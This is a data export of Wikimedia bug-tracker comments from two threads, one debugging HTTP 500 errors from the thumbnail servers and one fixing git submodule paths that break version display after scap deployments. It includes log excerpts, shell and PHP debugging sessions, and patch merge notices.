+254793,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Could this server be taken out of rotation until the issue is resolved?,,,1379546704,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+254787,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.
+
+I just got another HTTP 500 Internal Server Error and found the following entry:
+
+URL: https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Trevor_Parscal_December_2008.jpg/660px-Trevor_Parscal_December_2008.jpg
+
+Triggered from an <img> tag on https://commons.wikimedia.org/w/index.php?title=File:Trevor_Parscal_December_2008.jpg&action=submit when previewing an edit.
+
+
+[04:11 UTC] krinkle at fluorine in /a/mw-log
+$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10
+
+Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
+2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
+2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
+2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format `/a/magick-tmp/magick-NyMRfqeG' @ error/constitute.c/ReadImage/532.
+convert: missing an image filename `/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Banknote_5000_rubles_(1997)_front.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
+..
+2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
+2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
+2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
+2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded",,,1379391380,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+254782,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)
+
+See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)",,,1379373885,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+254775,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,*** Bug 54188 has been marked as a duplicate of this bug. ***,,,1379373403,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254767,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"(In reply to comment #5)
+> reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+> 55424
+> reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+> 111320
+
+We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines.",,,1378958845,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+254758,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps https://gerrit.wikimedia.org/r/83974 would help debug the situation (including stderr from limit.sh in the 500 error message).",,,1378950740,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+254751,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+55424
+reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+111320",,,1378943525,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1
+254744,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.
+
+Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)
+
+The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - http://ganglia.wikimedia.org/latest/graph.php?g=cpu_report&z=xlarge&c=Image%20scalers%20eqiad&h=mw1154.eqiad.wmnet&l=e2ecff&v=&r=week&su=1&st=1378942982&x=0&n=0",,,1378943170,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+254734,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753
+
+reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
+324850
+reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
+22013
+reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+54280
+reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
+22011
+reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
+21980
+reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
+21847
+reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
+22146
+reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
+21905
+reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
+22107",,,1378942177,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+254724,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Always mw1154?
+
+See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts",,,1378941699,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+254712,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"See also bug 53573. (which was mostly mw1153)
+-----
+>I don't think the scenario is relevant, there is either something wrong with
+>the thumbnail generator script that is triggered by lots of images. Or there is
+>a few faulty servers in the upload.wikimedia.org pool that cause the errors.
+
+Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter",,,1378941647,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+55972,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","The VisualEditor UI has an interface to check what version is currently deployed (similar to Special:Version), when asking around people seemed to assume that this has been disabled purposely on the cluster.
+
+However this does not seem to be true.
+
+For one, the configuration around is working perfectly fine.
+
+Though the HEAD commit is retreived by MediaWiki's GitInfo class without shell (it just reads from the .git/HEAD file directly), I additionally verified that $wgGitBin (used for calcuating the commit dates with `git show`) has also not been disabled in production and works fine (tested on tin.eqiad.wmnet).
+
+The .git directory itself is not excluded from our deployment scripts. Though partial syncs using sync-dir or sync-file will naturally not sync the .git directory, when using scap or sync-dir on an extension directory, it will be updated just fine.
+
+And, in fact, [[Special:Version]] does show a git hash (maybe not the best one, but it does show something).
+
+It doesn't work for extensions because the git data is stored in mediawiki-core (e.g. mediawiki-core/extensions/VisualEditor/.git is a placeholder file with a pointer to mediawiki-core/.git/modules/extensions/VisualEditor), and the pointer is hardcoded to the location of the working copy on tin, namely /a/common/php-1.22wmf16, which doesn't exist on apaches.
+
+For example:
+
+krinkle@mw1017:/apache/common/php-1.22wmf16/extensions/VisualEditor$ git show
+
+fatal: Not a git repository: /a/common/php-1.22wmf16/.git/modules/extensions/VisualEditor
+
+krinkle@mw1017:/apache/common/php-1.22wmf16/extensions/VisualEditor$ cat .git
+
+gitdir: /a/common/php-1.22wmf16/.git/modules/extensions/VisualEditor
+
+
+I'm not sure whether the resemblance of /a and /apache is a coincendence or whether one is intended to be a shortcut of the other. Either way, it seems fairly trivial to make this work.
+
+I'm not sure what the semantic meaning is of these directories (/a/ seems to be an existing but unused directory on all hosts other than tin).
+
+Depending on whether it is really empty we should probably just create a symlink from /a to /apache on all machines that have /apache (except for tin), or if /a is used for other stuff, put symlink inside and have one from /a/common to /apache/common (except for tin).
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=36271",High,80.0,1378771740,1404841358.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_description,resolved,True,c1,3,True,False,False,10,,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+250369,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142320 merged by jenkins-bot:
+Set wgGitInfoCacheDirectory to point to scap managed location
+
+https://gerrit.wikimedia.org/r/142320",,,1404843771,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,53,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250366,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Yay, thanks Bryan.",,,1404841358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+250361,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142319 merged by jenkins-bot:
+Fix GitInfo cache file path computation and storage location
+
+https://gerrit.wikimedia.org/r/142319",,,1404837730,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,53,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250355,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142320 had a related patch set uploaded by Krinkle:
+Set wgGitInfoCacheDirectory to point to scap managed location
+
+https://gerrit.wikimedia.org/r/142320",,,1403864865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250350,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142319 had a related patch set uploaded by BryanDavis:
+Fix GitInfo cache file path computation and storage location
+
+https://gerrit.wikimedia.org/r/142319",,,1403810584,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250344,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to Bryan Davis from comment #18)
+> I'll spend some more time looking into why $IP isn't what I
+> (and the paths inside $wgExtensionCredits) think it should be.
+
+Today I learned that WebStart.php clears $IP and then recreates it from the first of the MW_INSTALL_PATH environment variable, `realpath( '.' )` or `dirname( __DIR__ )`. In beta, the realpath branch wins and sets $IP to '/srv/common-local/php-master'.",,,1403805154,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1
+250338,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",So when I echo $IP from `mweval` in beta I get /srv/common-local/php-master but apparently inside Apache $IP is /usr/local/apache/common-local/php-master. The latter is a symlink to former. This difference is causing GitInfo::getCacheFilePath() to compute the wrong path for the cache file. I'll spend some more time looking into why $IP isn't what I (and the paths inside $wgExtensionCredits) think it should be.,,,1403743208,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+250332,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","I'm looking into this again and still can't figure out why http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version isn't displaying the git SHA1 for extensions now.
+
+Debugging using `mwscript eval.php --wiki=enwiki` on deployment-apache01 and deployment-apache02 shows that GitInfo can read the precomputed git information there:
+
+    > $wgDebugLogGroups = array(); $wgDebugLogFile = 'php://stdout';
+    > $gitinfo = new GitInfo($IP); $coreId = $gitinfo->getHeadSHA1();
+    > $cache = wfGetCache( CACHE_ANYTHING );
+    > $path = ""$IP/extensions/VisualEditor/VisualEditor.php"";
+    > $memcKey = wfMemcKey( 'specialversion-ext-version-text', $path, $coreId );
+    > echo $memcKey;
+    enwiki:specialversion-ext-version-text:/srv/common-local/php-master/extensions/VisualEditor/VisualEditor.php:49952a405014c89b239da3bcaea158c47faf8251
+    > var_dump( $cache->get( $memcKey ) );
+    enwiki-bca38539: 649.4035  25.8M  [memcached] get(enwiki:specialversion-ext-version-text:/srv/common-local/php-master/extensions/VisualEditor/VisualEditor.php:49952a405014c89b239da3bcaea158c47faf8251)
+    enwiki-bca38539: 649.4047  25.8M  [memcached] result: NOT FOUND
+    bool(false)
+
+    > $gitinfo = new GitInfo( dirname( $path ) );
+    > echo $gitinfo->getHeadSHA1();
+    fefd3a5d72c118993cc555f0a53a561f58a5fd19
+    > echo $gitinfo->getHeadViewUrl();
+    https://git.wikimedia.org/commit/mediawiki%2Fextensions%2FVisualEditor.git/fefd3a5d72c118993cc555f0a53a561f58a5fd19
+    > echo $gitinfo->getHeadCommitDate();
+    1400528579
+
+I've verified that apache is running as the user ""apache"" on these nodes and that apache can read the *info.json files. The output of `eval.php` above shows that the php code is functional when executed from the cli. At this point I'm unable to understand why this output differs from SpecialVersion::getCreditsForExtension(). I'm sure I'm missing something in my analysis but I'm at a loss for what it is.",,,1400529133,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,46,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+250326,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",Still not seeing data in Special:Version. There must be something that I'm not understanding about the environment. I can get the info via eval.php as shown above.,,,1399426964,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,44,,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+250320,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","I put a temporary hack in place on the beta nodes that run MediaWiki (apache0[12], jobrunner01, and videoscaler01) by symlinking $wgCacheDirectory/gitinfo to $IP/cache/gitinfo. This should make the git version data visible on the Special:Version page the next time that the MW-Core hash changes (memcache cache buster).
+
+    deployment-apache01:~
+    bd808$ mwscript eval.php --wiki=enwiki
+    > var_dump( $gi = new GitInfo( ""$IP/extensions/VisualEditor"" ) );
+    object(GitInfo)#113 (3) {
+      [""basedir"":protected]=>
+      NULL
+      [""cacheFile"":protected]=>
+      string(62) ""/tmp/mw-cache-master/gitinfo/info-extensions-VisualEditor.json""
+      [""cache"":protected]=>
+      array(6) {
+        [""head""]=>
+        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
+        [""remoteURL""]=>
+        string(70) ""https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor.git""
+        [""branch""]=>
+        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
+        [""headCommitDate""]=>
+        string(10) ""1399417572""
+        [""headSHA1""]=>
+        string(40) ""0496bd84506927039958cc683a35a5e3b5da2584""
+        [""@directory""]=>
+        string(44) ""/a/common/php-master/extensions/VisualEditor""
+      }
+    }",,,1399420245,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+250315,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Patches are merged, but not sufficient. I didn't look into the value of $wgCacheDirectory in operations/mediawiki-config.git. In beta and the prod cluster we set the cache directory to a location outside of $IP rather than $IP/cache as I expected/coded the scap side to this change for.
+
+I'll either need to add a new global to set/change the location where GitInfo looks for the cache or add yet another scap step to copy the generated files around to adjust for this.",,,1399410121,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,44,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+250310,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130560 merged by jenkins-bot:
+Precompute data for GitInfo
+
+https://gerrit.wikimedia.org/r/130560",,,1399399638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250306,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130498 merged by jenkins-bot:
+Support precomputed data in GitInfo
+
+https://gerrit.wikimedia.org/r/130498",,,1399334206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250302,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130560 had a related patch set uploaded by BryanDavis:
+Precompute data for GitInfo
+
+https://gerrit.wikimedia.org/r/130560",,,1398832805,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250301,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 130498 had a related patch set uploaded by BryanDavis:
+Support precomputed data in GitInfo
+
